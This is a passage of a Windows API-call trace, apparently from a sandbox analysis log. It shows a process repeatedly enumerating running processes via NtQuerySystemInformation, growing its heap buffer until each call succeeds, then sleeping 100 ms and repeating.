ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0144.101] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0144.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0144.101] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0144.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0144.101] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0144.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0144.102] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0144.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0144.102] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0144.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0144.102] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0144.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0144.102] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0144.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.102] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0144.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.103] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0144.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.103] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0144.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.103] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0144.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.103] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0144.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.104] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0144.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0144.104] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0144.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0144.104] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0144.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0144.104] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0144.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0144.105] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0144.105] Sleep (dwMilliseconds=0x64) [0144.973] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0144.973] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0144.973] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0144.974] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0144.974] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0144.974] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0144.974] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0144.974] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0144.974] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0144.974] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0144.974] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0144.974] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0144.974] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0144.974] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0144.975] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0144.975] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.975] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0144.975] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.975] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0144.975] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.975] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0144.975] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.976] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0144.976] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.976] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0144.976] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0144.976] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0144.976] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0144.976] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0144.976] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0144.977] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0144.977] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0144.977] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0144.977] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0144.977] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0144.977] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0144.978] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0144.978] Sleep (dwMilliseconds=0x64) [0145.540] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0145.540] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0145.540] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0145.540] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0145.541] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0145.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0145.541] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0145.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0145.541] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0145.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0145.541] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0145.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0145.541] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0145.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0145.541] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0145.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.542] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0145.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.542] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0145.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.542] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0145.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.542] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0145.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.543] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0145.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.543] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0145.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0145.543] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0145.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0145.543] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0145.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0145.544] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0145.544] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0145.544] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0145.544] Sleep (dwMilliseconds=0x64) [0145.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0145.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0145.880] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0145.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0145.881] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0145.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0145.881] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0145.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0145.882] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0145.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0145.882] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0145.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0145.882] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0145.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0145.882] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0145.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.882] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0145.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.883] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0145.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.883] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0145.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.883] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0145.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.883] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0145.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0145.884] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0145.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0145.884] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0145.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0145.884] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0145.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0145.884] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0145.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0145.885] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0145.885] Sleep (dwMilliseconds=0x64) [0146.194] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0146.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0146.195] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0146.195] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0146.195] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0146.195] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0146.195] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0146.195] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.195] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0146.195] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.195] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0146.196] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.196] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0146.196] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.196] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0146.196] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.196] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0146.196] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.196] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0146.196] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.197] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0146.197] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.197] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0146.197] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.197] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0146.197] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.197] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0146.197] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0146.198] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0146.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0146.198] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0146.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0146.198] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0146.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0146.198] 